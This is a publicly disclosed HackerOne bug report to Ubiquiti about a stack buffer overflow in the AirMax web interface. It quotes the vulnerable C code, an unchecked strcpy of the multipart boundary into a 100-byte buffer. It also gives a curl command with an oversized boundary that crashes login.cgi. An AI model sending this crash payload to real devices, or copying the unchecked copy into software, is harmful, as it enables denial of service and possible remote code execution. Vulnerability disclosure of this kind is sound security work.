HexBrain

Ubiquiti Inc. · Report #74004

Other Buffer Overflow in PHP of the AirMax Products

Validstatus
4upvotes
7 Apr 2016disclosed

How it was found

tldr: Just like happen in Report 73491, but MUCH WORSE.

#The Vulnerability After the Report 73491, I decided to take another look in the code on filespost.c and uploadbuffer.c (once I have nothing better to do than watch F1).

The problematic code:

char *getpost(void) {
/* Some Code */
	char *mb;
	char boundary[100];

/* Some Code */
	if(!strncasecmp(buf,"multipart/form-data",19)) {
		file_upload=1;
		mb = strchr(buf,'=');
		if(mb) strcpy(boundary,mb+1);	//!!The problematic Line!!
		else {
			Error("File Upload Error: No MIME boundary found"); 
			/* Some Code */
			return(NULL);
		}
	}
/* Rest of the Code */
}

Has you can see, it's copied the string in mb+1 to boundary ( witch have a fixed size), so will cause a Buffer Overflow if the string in mb (here represent boundary camp in a POST request) it's bigger than 100 bytes. In a Buffer Overflow which happen in stack memory, do a remote code execution should be easy (Even more on a AirMax, once the equipment are almost identical).

#Reproduce I will not create a exploit to this report, but unlike the Report 73491, you just have to ask for one.

This Curl command will cause a buffer overflow.

curl -X POST -H "Content-Type: multipart/form-data; boundary=----------------------------dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" --data-binary AnyDataHERE "https://192.168.1.20/login.cgi" -k -v

Obs: Some times you need a bigger boundary (more d!!).

The lighttpd will return (mod_cgi.c.1319) cleaning up CGI: process died with signal 11.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original